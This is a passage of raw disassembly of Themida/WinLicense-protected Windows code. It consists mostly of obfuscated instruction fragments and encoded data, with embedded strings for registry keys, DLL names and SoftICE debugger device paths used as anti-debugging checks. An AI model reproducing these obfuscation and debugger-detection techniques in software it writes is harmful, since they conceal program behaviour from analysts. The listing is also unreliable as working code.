dup(0FFh) ; --------------------------------------------------------------------------- loc_562513: ; CODE XREF: Themida_:00558BF5j sub edi, 4 xchg edi, [esp] pop esp jmp loc_558C04 ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFF9266h ; --------------------------------------------------------------------------- loc_562528: ; CODE XREF: Themida_:0055E812j xor [esp], eax jmp loc_55D973 ; --------------------------------------------------------------------------- dd 4BA525Dh, 1000000h, 7BD2E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56253E: ; CODE XREF: Themida_:00556587j push esp pop edi push eax push ebp push edx sub esp, 4 mov [esp], esi push 67C85F0Ah pop esi sub esi, 79447E0Eh push edx jmp loc_56264C ; --------------------------------------------------------------------------- db 57h dd 4BFh, 0E9FE0100h, 0FFFF4FEEh, 9D1C77FFh, 1CD25966h dd 4EE99C24h, 87FFFEB8h, 895C243Ch, 0DDE9242Ch, 8BFFFF78h dd 0FF662424h, 0E99C240Ch, 0FFFEB835h, 0F02B59BDh, 5DEA095Ah dd 0FFFFEA81h, 0C281FFFFh, 0B32120BBh, 815AD701h, 4ECh dd 240C8900h, 0C181E189h, 4, 4E981h, 0C870000h, 4B0BE924h dd 4BDFFFFh, 57000000h, 3714C9BFh, 0CE98152h, 290D4628h dd 0CC181F9h, 5F0D4628h, 0C181E901h, 523714C9h, 10EE9h db 0 ; --------------------------------------------------------------------------- loc_5625ED: ; CODE XREF: Themida_:005574A5j pop edi jmp loc_55E8FD ; --------------------------------------------------------------------------- db 83h dd 1E904C4h, 31FFFF4Fh, 242C8BEAh, 0FFF809E9h, 4BA52FFh dd 81000000h, 351A1DC6h, 10B4E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562616: ; CODE XREF: Themida_:0055C7F2j sub esp, 4 mov [esp], edi mov edi, 38E24703h and edi, 3EBB750Eh jmp loc_555694 ; --------------------------------------------------------------------------- db 50h dd 5C0831B8h, 835BE5Dh, 0C6315D5Ch, 0E9F70158h, 0FFFFF915h ; --------------------------------------------------------------------------- loc_562644: ; CODE XREF: Themida_:0055F19Cj add ebx, edi pop edi jmp loc_56249F ; --------------------------------------------------------------------------- loc_56264C: ; CODE XREF: Themida_:00562556j mov edx, 0B40252Fh jmp loc_556599 ; --------------------------------------------------------------------------- dw 0FF57h dd 5F042474h, 0FF1BC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_562661: ; CODE XREF: Themida_:00552ED4j pop esp jmp loc_559F51 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 10B95100h, 81500635h, 5204B0C9h, 46E18168h, 835E0E3Eh dd 0D1F701C1h, 0FF200BE9h, 0E9E789FFh, 0FFFFD1C8h, 5E04E954h dd 5D54FFFFh, 4C581h, 0EC830000h, 241C8904h, 4BBh, 5BDD0100h dd 5C242C87h, 0FEC96CE9h, 4F000FFh, 5AE904D8h, 78B55166h dd 0E828B904h, 5966B92Ch, 0FF8AD6E9h, 6D4925FFh, 0A2D104Bh dd 2D731776h, 1, 0A4A72D40h, 0C6895EA1h, 8124048Bh, 4C4h dd 0FFC68300h, 0F755EE87h, 1BE92414h, 8BFFFF7Ah, 4AE9242Ch dd 57FFFFB1h, 0C781E789h, 4, 26CBD55h, 0D5F7390Bh, 0CD81DDF7h dd 46AD3860h, 5CE9DDF7h db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562723: ; CODE XREF: Themida_:0055B3D5j or esi, 21FD42BBh push ecx mov ecx, 0FCD1D38h not ecx jmp loc_5501D0 ; --------------------------------------------------------------------------- dw 1968h dd 89000036h, 0BD552414h, 4, 295DEA89h, 0FF535AD3h, 8B042474h dd 0C483241Ch, 24048F04h, 240C895Ch, 14E8BF57h, 0D0E90D2Fh dd 5FFFFF38h, 516B68h, 24348900h, 42474FFh, 6824348Bh dd 2F72h, 89243489h, 4C681E6h, 0E9000000h, 0FFFF2E26h dd 8B2434FFh, 0E9562404h, 0FFFFA4E6h, 68242C89h, 2, 0FFC6E9E9h dd 4C483FFh, 0FFBC8AE9h, 0D1EF81FFh, 2958D019h, 38B4E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5627BA: ; CODE XREF: Themida_:00551883j mov ecx, 4 jmp loc_558C83 ; --------------------------------------------------------------------------- dd 0C281EA29h, 5345351h, 0FF2E7BE9h, 24348BFFh, 0FF486BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5627D9: ; CODE XREF: Themida_:0055EAFEj xor dword ptr [esp], 22FB357Dh pop ecx xor ecx, 22FB357Dh push dword ptr [esp] pop edx add esp, 4 xor ecx, ebp jmp loc_558C1F ; --------------------------------------------------------------------------- loc_5627F8: ; CODE XREF: Themida_:0055A551j and eax, 509251EDh jmp loc_5612E6 ; --------------------------------------------------------------------------- loc_562802: ; CODE XREF: Themida_:00553A23j add ebp, 4 xchg ebp, [esp] jmp loc_5520E3 ; --------------------------------------------------------------------------- db 4Ah, 81h, 0F2h dd 3FFFFBh, 148BD001h, 0E7895724h, 0FF179CE9h, 57E189FFh dd 4BFh, 0E9F90100h, 0FFFF2B8Fh, 0EF80CF00h, 0F988596Eh dd 1BA2685Bh, 0F2E90000h, 83FFFFD5h, 3A6804C4h, 8900005Ch dd 4B9240Ch, 81000000h, 0A8703DEFh, 51CF0141h, 1E73EAB9h dd 82C18104h, 496E721Dh, 0FF8A08E9h, 515052FFh, 0EDC0AFB5h dd 0B0506602h, 66C52039h, 0FF5BE958h, 2C89FFFEh, 0EFC9E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56288A: ; CODE XREF: Themida_:0056153Ej neg eax inc eax inc eax sub esp, 4 jmp loc_55DA7F ; --------------------------------------------------------------------------- loc_562896: ; CODE XREF: Themida_:0055181Fj pop esi sub edx, 4 jmp loc_55C9F4 ; --------------------------------------------------------------------------- db 81h dd 1247E1EFh, 0C7815E29h, 0F393D72Eh, 34FFF801h, 0C4835F24h dd 0A3FDE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5628BA: ; CODE XREF: Themida_:0055F523j mov [esp], cx jmp loc_54DDC5 ; --------------------------------------------------------------------------- db 8Bh dd 0DEE9241Ch, 0BEFFFFDCh, 35335009h, 6BBFBD55h, 0EE015FC6h dd 0CBEE815Dh, 297CFB95h, 0C3815EF3h, 7D7066CBh, 0FFE9C329h dd 56FFFF16h, 0FECF54E9h, 0EF815AFFh, 60EFFEEBh, 0FCB2E953h dd 0E981FFFEh, 5E695E02h, 0FEEB90E9h db 0FFh ; --------------------------------------------------------------------------- loc_56290D: ; CODE XREF: Themida_:0055E271j push ebx mov ebx, 4 sub ebp, 55F94CF4h add ebp, ebx add ebp, 55F94CF4h pop ebx sub ebp, 4 jmp loc_555CEB ; --------------------------------------------------------------------------- loc_56292A: ; CODE XREF: Themida_:00561302j mov [esp], ecx jmp loc_557CD1 ; --------------------------------------------------------------------------- loc_562932: ; CODE XREF: Themida_:00555F9Aj push ecx jmp loc_54EC9A ; --------------------------------------------------------------------------- dd 0E588D488h, 88525058h, 8BD488EAh, 9AE92414h, 0EBFFFF2Ch dd 45535536h, 2E323352h, 6C6C64h, 41564441h, 32334950h dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch, 2000807h dd 0F000700h, 24001900h, 1C026000h, 0E9783660h, 825h, 4A959F68h dd 0E99FE906h, 1068FFFDh, 0E9064A96h, 0FFFDE995h, 4A971168h dd 0E98BE906h, 3F68FFFDh, 0E9064A98h, 0FFFDE981h, 4A98D168h dd 0E977E906h, 0D068FFFDh, 0E9064A99h, 0FFFDE96Dh, 4A9A2D68h dd 0E963E906h, 0ED94FFFDh, 981A7612h, 1CA3FF9Dh, 8F376301h dd 3EBAD6B2h, 5D3A593Bh, 0B8D8D965h, 2D4F5AECh, 97F5F471h dd 1F7D78FBh, 1B5D3144h, 0A97C6EC8h, 0B808C17h, 0B6FB74BDh dd 0ACA03685h, 35D7E004h, 5481CCA2h, 0DAA57C6Ch, 6CCDA03Eh dd 0FAC55646h, 80E9C550h, 95BFE42h, 58C8CD77h, 7A76DCDBh dd 37004C3Dh, 0A2AC0295h, 4656467Ah, 9112AE39h, 696E2A84h dd 0EE7D55B6h, 0DFD00A50h, 86076010h, 0E05AEFAh, 11FD64BFh dd 3DAD6233h, 6AAh, 0E4849B1Ah, 6D0F0AA8h, 0D1B3AE31h dd 44243DC5h, 0CFADAC48h, 4BF7CFA4h, 0E87E2A76h, 66039FFDh dd 0EE950163h, 0C3DA89EBh, 6EC7ADEBh, 0E2A53B7Ch, 8AFBFE85h dd 0C453F9C2h, 6EC73AEAh, 35B14B7Ch, 90264734h, 7C1087E0h dd 0EF8CFDF4h, 0A537CE47h, 7E00EC19h, 26E1A634h, 0E48111B9h dd 6E0B87E5h, 0E58E1A6Bh, 0FF6A5FEEh, 0D34C0C59h, 63923h dd 15EC9500h, 9C991B77h, 1FA0FCh, 0B58C3460h, 3A3FBBD7h dd 645C355Eh, 0EFBBD9D8h, 702C4C59h, 0FA96F2F5h, 451E7A79h dd 0C91C5C32h, 16A87C6Eh, 0FBFE858Dh, 0DF61FB8Ah, 0D5524FD1h dd 0D4A5A047h, 10937FD7h, 0F36F6415h, 12E3180Ch, 3939DDE1h dd 62000000h, 99FBFE85h, 32FD47FAh, 882B7624h, 0B48FEF8Dh dd 0EB2F7F16h, 107C6CA4h, 1BBEDD9Bh, 0FDB6F236h, 8960662h dd 4672D865h, 9712AE39h, 19A4F090h, 0AFF96906h, 5E000005h dd 8AFBFE85h, 0A240F9C2h, 28A9D6A7h, 61D0E1BDh, 67F97C6Ch dd 0B255C7DAh, 71D9A6D7h, 4E09D241h, 0BCAB92Fh, 31B2EE8Ah dd 3D065632h, 0DF71089Fh, 0A1A04D53h, 23CC8A20h, 0C782B794h dd 7B0815ABh, 104AE3Ah, 0FE7B1580h, 740899FBh, 0C880DECFh dd 1476268Bh, 1C9DEA6Bh, 585FDAB6h, 0E9C55C2Bh, 76268BAFh dd 3CDC723Dh, 0C20DB0B7h, 8412A25Bh, 5389B0Bh, 0ED940000h dd 981A7612h, 1CA3FF9Dh, 8F376301h, 3EBAD6B2h, 5D3A593Bh dd 0B8D8D965h, 2D4F5AECh, 97F5F471h, 1F7D78FBh, 1B5D3144h dd 0A97C6ECAh, 0FE858C17h, 75FE8AFBh, 8D08017Eh, 0E6FEA14h dd 72EE38DEh, 0E283F0F7h, 45AD124Ch, 762493E9h, 507AA0CCh dd 0FEA2DDE1h, 0F9FFFFFEh, 6CFBFE85h, 0E40DF237h, 24BCCE8Ah dd 0E89D1A76h, 20B6F536h, 58023D93h, 0FD78F1CDh, 0ADC47C6Ch dd 6CB697D1h, 0AA49257Ch, 50D1DEAFh, 0DED9B1D3h, 0FC8D982Fh dd 0D7A73EBFh, 82B4E772h, 233EC15Bh, 0F380EF8Bh, 24E72263h dd 0C5AD5676h, 0C8B92623h, 0A83827B8h, 237B0817h, 0B05D9249h dd 0B46F5906h, 6EDDE1A6h, 19Bh, 9ADEB047h, 267624EEh, 0D9D6F159h dd 0B8625D79h, 1E13932Dh, 0EBAA0061h, 6C42CA93h, 73911E7Ch dd 9AF48B22h, 7C6C41DEh, 9BDD8DEAh, 297C6C41h, 93EAE84Eh dd 0B56465Eh, 0A3FB6A30h, 5BFE54B6h, 58344522h, 932ABD5Fh dd 4FE6A2FCh, 0B5F24FFEh, 88AFBF1Dh, 3E795646h, 6B6E15A7h dd 13169D09h, 129059ACh, 2B06F33h, 40Ah, 44243BBAh, 0CDAFAA48h dd 31534ED1h, 0A4C4DD65h, 2F4D4CE8h, 0EB97AF04h, 881E8A16h dd 6A3FF9Dh, 8E356103h, 637AE98Bh, 6ECB4D0Bh, 42C59B7Ch dd 0AB57E980h, 8AD8D9D6h, 762432CEh, 74FB401Dh, 9BE9EED7h dd 0FE8EBAE8h, 0FF7C416Ch, 3BE1FD8Ah, 349AB74Ah, 2AE5F58h dd 0B0317E0Fh, 0A8B34925h, 25717C6Fh, 0B6F7849Dh, 62E756FDh dd 44C52203h, 0ACB23FD1h, 3A3EF904h, 62E2627Ah, 880464E5h dd 0F9DEAEDh, 0CDDE6164h, 0EB0C59FFh, 3788634h, 0AD540000h dd 58DAB6D2h, 0DC633F5Dh, 4FF7A3C1h, 0FE7A1672h, 1D7A99FBh dd 0F8989925h, 6D0F1AACh, 0D7B5B431h, 5F3D38BBh, 0DB9DF184h dd 0E97C6ECAh, 0FE85CC57h, 95225F0Fh, 0B838FF99h, 2AABC8B9h dd 27CCDCADh, 401EB520h, 7624CB08h, 0EBDEABD4h, 0A50F09EEh dd 557A79D1h, 623C2299h, 55762527h, 9D852EC2h, 16E1F0Ah dd 68922A80h, 0B0DDE1FCh, 0FFFFFD25h, 0FBFE85EBh, 2337376Ch dd 937C517Dh, 0E7D0BC3Bh, 15DCB225h, 0B47C6C81h, 0E98B8718h dd 0A6F86FECh, 7C6C60E2h, 892981EEh, 0D9E182EEh, 0A5675074h dd 28E69B32h, 0E3254C1Ch, 0FC410FA7h, 287C6CF7h, 6D41D84Fh dd 7C6CED2Bh, 0C858FEB9h, 845F701Eh, 0F19BA424h, 0B210866h dd 0F3A82ACCh, 3373A245h, 8027B5E5h, 0E28D2D85h, 5A003B95h dd 1C9834CBh, 1727B51Dh, 0D124841Eh, 6AD3FD6h, 8E356103h dd 29AD348Bh, 0E49B6445h, 27976h, 0D5AC5500h, 5C59DBB7h dd 0C0DF603Ch, 754CF4A0h, 0FAFF7B17h, 241C759Eh, 0AFFB9998h dd 306C0C19h, 0BAD6B2B5h, 855E3A39h, 0CBDC9CF2h, 56E87C6Eh dd 0DC7EB9CDh, 0C7E17549h, 3ED27C6Eh, 982FBDA8h, 17BFFC8Dh dd 0F7891C9Bh, 7915774Ah, 0FC8CFDFCh, 0CACD7077h, 0EC0C5A1Fh dd 21C8333h, 9A80000h, 0B43E6A36h, 20C7D3B1h, 0AB4B4725h dd 52DECAD6h, 41163D5Fh, 9CFCFD79h, 1637E00h, 8BE9E895h dd 0F391941Fh, 37714D60h, 857C6ECDh, 0EC806023h, 713E4F5Ah dd 78453C04h, 0B119D3C7h, 0AD38E2DDh, 6F8B45D1h, 8114937Ch dd 234144EFh, 0EDC16D4Bh, 7C6E82ABh, 66F17E39h, 6E835A08h dd 98E9967Ch, 59DA760Dh, 1E4C2D5Ah, 7C6E825Ah, 0E1B11966h dd 78374445h, 0A3B53FD1h, 36770401h, 13BBF889h, 4FF5FB87h dd 0CFAFCD4Ah, 0EAC453F1h, 7C6E82B6h, 4EE27532h, 0CEDAABA6h dd 5D5A2B26h, 2B7976DCh, 0B1FC8D88h, 691941Fh, 82591F6Fh dd 18677C6Eh, 0A7F16B2h, 2758CB1Ch, 8111B9DDh, 484FF4E2h dd 0D2B2BACBh, 0FD27E456h, 0AFE47376h, 8384C570h, 0D4AB5626h dd 0CB59C6A7h, 5D5A2B2Eh, 3AB9D5F5h, 0B6324E3Fh, 0C2BCC2B3h dd 292CD71Dh, 21C65A4Bh, 600C8C22h, 38DC1061h, 975D02F8h dd 787905EBh, 610D99FBh, 0E8841360h, 34E44A4Dh, 5EF9B689h dd 79052F9Ch, 0D053ED78h, 0B468A0D5h, 3C70AC8Ch, 49B0A96h dd 0BACBD668h, 59EBADFDh, 0BEF97C6Eh, 0FCFB7818h, 0C0BB3F8Fh dd 42E534E1h, 0D95A3647h, 0C4F6ADDAh, 2BA7CE07h, 0BC12A974h dd 345D72FCh, 8B07AFC8h, 0E37AEDE8h, 5D72CD8Bh, 369C1B34h dd 7E75FEAAh, 0A8A955E7h, 7327613Dh, 0CAB5345Dh, 0B9455764h dd 2AE0CBB8h, 104AF75h, 898C3763h, 0E1AB94F8h, 9BA11876h dd 31C83AA5h, 959C1B5Dh, 68CEA92Eh, 6D4D2F48h, 861D8852h dd 9BD99FEFh, 98E72E95h, 30A2A432h, 493634E0h, 5FFAA5DEh dd 0A959173Eh, 9D267201h, 5AEFA86h, 0DCE1710Eh, 0B1B2DC6Eh dd 0E1E48E22h, 80A81749h, 3871E4E3h, 0F7EABCCEh, 4161C963h dd 3E31BC50h, 0E8A2041h, 83116E65h, 0E577EEE3h, 0AFAA485Eh dd 0FA50D1DEh, 0A9435AFDh, 35A70F0Ah, 201A276h, 0F3681E93h dd 0B9F6CB6Bh, 5C208FF8h, 227E0AA0h, 14159181h, 368E697h dd 0EF000000h, 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh dd 0F6720E7Fh, 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h dd 68B9BFCCh, 7CB4h, 68240C89h, 201Bh db 89h, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ebx mov ebx, 42F510BFh mov eax, 0C3558452h add eax, ebx mov ebx, [esp] add esp, 4 push 22EAh mov [esp], esp add dword ptr [esp], 4 pop ebx push eax push ebp mov ebp, 2FD70692h xor [esp+4], ebp pop ebp pop dword ptr [ebx+8] xor dword ptr [ebx+8], 2FD70692h push dword ptr [esp] pop ebx add esp, 4 mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_541331 ; --------------------------------------------------------------------------- db 0DFh dd 9C6EB8C4h, 0C503064Ah, 0FFAAE0FFh, 0DA2D719Bh, 45E55EB5h dd 0FD35349Bh, 41F95B75h, 91151DC5h, 0B1E95CF8h, 0FBAF3B92h dd 0D6307F25h, 0A46D56B9h, 0FC9C0240h, 11E86A66h, 1000000h dd 994230BEh, 7271BFDFh, 69F25C7Dh, 80163E5Ch, 0ED47BA66h dd 9870F58h, 0F000000h, 383h, 0D68B6600h, 6D1CC081h, 8D0F0000h dd 2, 0FF33B1B1h, 0BE8h, 65BCD900h, 0E633B7FDh, 0B44DCC72h dd 1C8B59F5h, 4800F38h, 66000000h, 81B5B7BAh, 82CFEEBh dd 0C88B6613h, 0FA89EB81h, 0F3812452h, 6362D1E5h, 8E951h dd 0CE360000h, 7310E141h, 895A67C6h, 6660381Ch, 8093AFBAh dd 8361A8F5h, 0B70F04EFh, 78FF81F7h, 0FFFFF93h, 0FFFFB185h dd 0E9F78BFFh, 73h, 5BD8360h, 6482Ah, 5840Fh, 5EE90000h dd 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h, 3E800000h dd 8850F33h, 6A000000h, 24E94610h, 80000000h, 850F343Eh dd 8, 0E946306Ah, 13h, 0F353E80h, 885h, 46406A00h, 2E9h dd 8D006A00h, 48009D85h, 4895006h, 34895024h, 0FF006A24h dd 4815D595h, 0C6C36106h, 480FF985h, 51684D06h, 815B2481h dd 0F5572404h, 0B5FF4910h, 6482F2Dh, 38BA858Dh, 0D0FF0648h dd 15D58589h, 8E80648h, 5A000000h, 6574ACD0h, 0BCA2325h dd 48121D9Dh, 0C2815A06h, 676Ah, 19BBBEh, 0A0EB8100h, 0FF3CFBE7h dd 830F5832h, 6, 17158589h, 0C0810648h, 15480EB1h, 2F399D8Bh dd 0F0810648h, 7D3DCC60h, 7880Fh, 66600000h, 0F5E775BBh dd 20C08161h, 0E9356B79h, 5, 3B64696Ah, 66028911h, 9B1EC981h dd 0F903EA83h, 9CB814Ah, 81344EFFh, 1EEh, 0A4850F00h, 29FFFFFFh dd 48002D85h, 0AAE906h, 6F530000h, 61777466h, 575C6572h dd 694C6E69h, 736E6563h, 68430065h, 496B6365h, 7058004Eh dd 45746F72h, 746978h, 63656843h, 54554F6Bh, 6E695700h dd 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h dd 736E6563h, 69724465h, 56726576h, 69737265h, 57006E6Fh dd 694C6E69h, 736E6563h, 736E4965h, 636E6174h, 78450065h dd 6B4F7469h, 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h dd 45004E49h, 4F746978h, 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 87858900h, 8D064A9Fh dd 4A9F8385h, 858D5006h, 64A9EEDh, 16850h, 95FF8000h, 64A9F93h dd 0B5FF196Ah, 64A9F87h, 6A016Ah, 9F1C858Dh, 0FF50064Ah dd 4A9F83B5h, 6995FF06h, 0FF06482Eh, 4A9F83B5h, 8F95FF06h dd 0FF064A9Fh, 4A9F83B5h, 2595FF06h, 0C3064832h, 9F878589h dd 858D064Ah, 64A9F83h, 0ED858D50h, 50064A9Eh, 168h, 9395FF80h dd 6A064A9Fh, 87858D04h, 50064A9Fh, 6A046Ah, 9F46858Dh dd 0FF50064Ah, 4A9F83B5h, 6995FF06h, 0FF06482Eh, 4A9F83B5h dd 8F95FF06h, 0FF064A9Fh, 4A9F83B5h, 2595FF06h, 0C3064832h dd 9F878589h, 858D064Ah, 64A9F83h, 0ED858D50h, 50064A9Eh dd 168h, 9395FF80h, 6A064A9Fh, 87858D04h, 50064A9Fh, 6A046Ah dd 9F2E858Dh, 0FF50064Ah, 4A9F83B5h, 6995FF06h, 0FF06482Eh dd 4A9F83B5h, 8F95FF06h, 0FF064A9Fh, 4A9F83B5h, 2595FF06h dd 0C3064832h, 9F878589h, 858D064Ah, 64A9F83h, 0ED858D50h dd 50064A9Eh, 168h, 9395FF80h, 6A064A9Fh, 87858D04h, 50064A9Fh dd 6A046Ah, 9F59858Dh, 0FF50064Ah, 4A9F83B5h, 6995FF06h dd 0FF06482Eh, 4A9F83B5h, 8F95FF06h, 0FF064A9Fh, 4A9F83B5h dd 2595FF06h, 0C3064832h, 9F878589h, 858D064Ah, 64A9F83h dd 0ED858D50h, 50064A9Eh, 168h, 9395FF80h, 6A064A9Fh, 87858D04h dd 50064A9Fh, 6A046Ah, 9F09858Dh, 0FF50064Ah, 4A9F83B5h dd 6995FF06h, 0FF06482Eh, 4A9F83B5h, 8F95FF06h, 0FF064A9Fh dd 4A9F83B5h, 2595FF06h, 0C3064832h, 289DBD83h, 0F000648h dd 0B84h, 9D9D8B00h, 83064828h, 3894CC3h, 9DBD83C3h, 64828h dd 0B840Fh, 9D8B0000h, 648289Dh, 8950C383h, 0BD83C303h dd 648289Dh, 0B840F00h, 8B000000h, 48289D9Dh, 54C38306h dd 83C30389h, 48289DBDh, 840F0006h, 0Bh, 289D9D8Bh, 0C3830648h dd 0C3038958h, 289DBD83h, 0F000648h, 0B84h, 9D9D8B00h dd 83064828h, 3895CC3h, 8960C3C3h, 4A9F8785h, 83858D06h dd 50064A9Fh, 9EED858Dh, 6850064Ah, 80000001h, 9F9395FFh dd 46A064Ah, 9F87858Dh, 6A50064Ah, 8D006A04h, 4A9F7E85h dd 0B5FF5006h, 64A9F83h, 2E6995FFh, 0BD830648h, 6481299h dd 0C840F00h, 0FF000000h, 4A9F83B5h, 8F95FF06h, 0FF064A9Fh dd 4A9F83B5h, 2595FF06h, 61064832h, 858960C3h, 64A9F87h dd 9F83858Dh, 8D50064Ah, 4A9EED85h, 1685006h, 0FF800000h dd 4A9F9395h, 8D046A06h, 4A9F8785h, 46A5006h, 858D006Ah dd 64A9F60h, 83B5FF50h, 0FF064A9Fh, 482E6995h, 99BD8306h dd 64812h, 0C840Fh, 0B5FF0000h, 64A9F83h, 9F8F95FFh, 0B5FF064Ah dd 64A9F83h, 322595FFh, 0C3610648h, 87858960h, 8D064A9Fh dd 4A9F8385h, 858D5006h, 64A9EEDh, 16850h, 95FF8000h, 64A9F93h dd 858D046Ah, 64A9F87h, 6A046A50h, 67858D00h, 50064A9Fh dd 9F83B5FFh, 95FF064Ah, 6482E69h, 1299BD83h, 0F000648h dd 0C84h, 83B5FF00h, 0FF064A9Fh, 4A9F8F95h, 83B5FF06h dd 0FF064A9Fh, 48322595h, 60C36106h, 9F878589h, 858D064Ah dd 64A9F83h, 0ED858D50h, 50064A9Eh, 168h, 9395FF80h, 6A064A9Fh dd 87858D04h, 50064A9Fh, 6A046Ah, 9F6F858Dh, 0FF50064Ah dd 4A9F83B5h, 6995FF06h, 8306482Eh, 481299BDh, 840F0006h dd 0Ch, 9F83B5FFh, 95FF064Ah, 64A9F8Fh, 9F83B5FFh, 95FF064Ah dd 6483225h, 8960C361h, 4A9F8785h, 83858D06h, 50064A9Fh dd 9EED858Dh, 6850064Ah, 80000001h, 9F9395FFh, 46A064Ah dd 9F87858Dh, 6A50064Ah, 8D006A04h, 4A9F7685h, 0B5FF5006h dd 64A9F83h, 2E6995FFh, 0BD830648h, 6481299h, 0C840F00h dd 0FF000000h, 4A9F83B5h, 8F95FF06h, 0FF064A9Fh, 4A9F83B5h dd 2595FF06h, 61064832h, 85C760C3h, 64A9F87h, 1, 9F83858Dh dd 8D50064Ah, 4A9EED85h, 2685006h, 0FF800000h, 4A9F9395h dd 0FC00B06h, 0F84h, 8785C700h, 64A9Fh, 0E9000000h, 4Dh dd 858D046Ah, 64A9F87h, 6A046A50h, 1858D00h, 50064A9Fh dd 9F83B5FFh, 95FF064Ah, 6482E69h, 840FC00Bh, 0Fh, 9F8785C7h dd 64Ah, 0AE90000h, 0C7000000h, 4A9F8785h, 106h, 83B5FF00h dd 0FF064A9Fh, 48322595h, 858B6106h, 64A9F87h, 858960C3h dd 64A9F87h, 9F83858Dh, 8D50064Ah, 4A9EED85h, 1685006h dd 0FF800000h, 4A9F9395h, 8D046A06h, 4A9F8785h, 46A5006h dd 858D006Ah, 64A9F01h, 83B5FF50h, 0FF064A9Fh, 482E6995h dd 99BD8306h, 64812h, 0C840Fh, 0B5FF0000h, 64A9F83h, 9F8F95FFh dd 0B5FF064Ah, 64A9F83h, 322595FFh, 0C3610648h, 87858960h dd 8D064A9Fh, 4A9F8385h, 858D5006h, 64A9EEDh, 16850h, 95FF8000h dd 64A9F93h, 858D046Ah, 64A9F87h, 6A046A50h, 13858D00h dd 50064A9Fh, 9F83B5FFh, 95FF064Ah, 6482E69h, 1299BD83h dd 0F000648h, 0C84h, 83B5FF00h, 0FF064A9Fh, 4A9F8F95h dd 83B5FF06h, 0FF064A9Fh, 48322595h, 0C6C36106h, 480FF985h dd 7685206h, 0FFADE47Bh, 4827C5B5h, 5595FF06h, 89064827h dd 4A9F9385h, 0F985C606h, 5206480Fh, 2E00E568h, 0C5B5FF90h dd 0FF064827h, 48275595h, 8F858906h, 0C6064A9Fh, 480FF985h dd 35685206h, 0FFB9BF12h, 4827C5B5h, 5595FF06h, 89064827h dd 482E6985h, 0F985C606h, 5206480Fh, 78103468h, 0C5B5FF98h dd 0FF064827h, 48275595h, 25858906h, 0C6064832h, 480FF985h dd 0D4685206h, 0FFC005DBh, 4827C5B5h, 5595FF06h, 89064827h dd 48162185h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 0B9C08B00h dd 3908D8Ah, 1299BD83h, 75000648h, 35BD8309h, 6480Dh, 53501974h dd 0FB8C08Bh, 89000004h, 4829B985h, 649D8D06h, 0FF064AA4h dd 83585BD3h, 480D35BDh, 17740006h, 0FB85350h, 89000004h dd 4829B985h, 539D8D06h, 0FF064AA1h, 8B585BD3h, 0CE8166CFh dd 0C08BDC98h, 17159531h, 85C60648h, 6480FF9h, 0B860F43h dd 60000000h, 31419589h, 0B70F0648h, 4E861DEh, 0FC000000h dd 8BBC8E6Eh, 8F0F50CBh, 2, 448BCA8Bh, 8B660424h, 56008BCEh dd 3E79BE66h, 2444895Eh, 14E904h, 473E0000h, 0AAD27B67h dd 9A3F409Bh, 8E55CD3Ch, 2874B18Eh, 8B5874B7h, 481721B5h dd 8D8B5106h, 6483269h, 0D5B5FF5Eh, 0F06480Eh, 128Bh, 0DE900h dd 971C0000h, 84999964h, 26A1667Eh, 8D423D4Bh, 4838BA85h dd 14E806h, 0F5820000h, 61272C6Ah, 4AE8B7ACh, 0A342A2FEh dd 96A28AAFh, 0B70F8262h, 8D895EF1h, 6480DB1h, 0B529D0FFh dd 6481165h, 0BE990h, 0EE640000h, 5C042912h, 0DB92C34Bh dd 299050F0h, 480D4595h, 6A006A06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2E9BC356h dd 66B169D1h, 8B3A91B9h, 482A39B5h, 0FF3D6806h, 22BAFA67h dd 8126F74Ah, 1432404h, 6A0598h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 6B51A2C3h, 0FF763AD2h dd 6AE606E6h, 95958B03h, 66064813h, 6ADE85BEh, 99B58900h dd 29064809h dd 4803E58Dh, 68036A06h, 4277439Dh, 481CB8Bh, 88BC6324h dd 0FFBF0F7Dh, 0A5CA9D8Dh, 94B9064Ah, 0B916C391h, 18748C19h dd 8A605093h, 616160F8h, 8B66505Ah, 6A93D6h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 95DE9BC3h dd 0FA5E8479h, 8E9F0B0h, 88000000h, 5EB00843h, 0FF66EA4Eh dd 1BEA80D0h, 78850F40h, 81000003h, 0C90176F6h, 0BF0F5800h dd 0B4BE50F9h, 894AC071h, 0A8BF2404h, 6A513EDCh, 0FA0FBE00h dd 958933D0h, 6480D15h, 4E8h, 8000h, 7E800h, 4FF20000h dd 1C7B9926h, 2427BE88h, 505A5CB2h, 48A0Fh, 0B9660000h dd 448BD8B1h, 52500424h, 0F525060h, 61585A31h, 585A310Fh dd 36B1008Bh, 4244489h, 11E8h, 0F334AB00h, 0DA9E1FF8h dd 0A2E8DF6Ch, 77CA353Ch, 0FE8B1F3Eh, 8166585Eh, 89237BCEh dd 482F819Dh, 6A036A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0C8BCC357h, 599D012Dh dd 6A064827h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 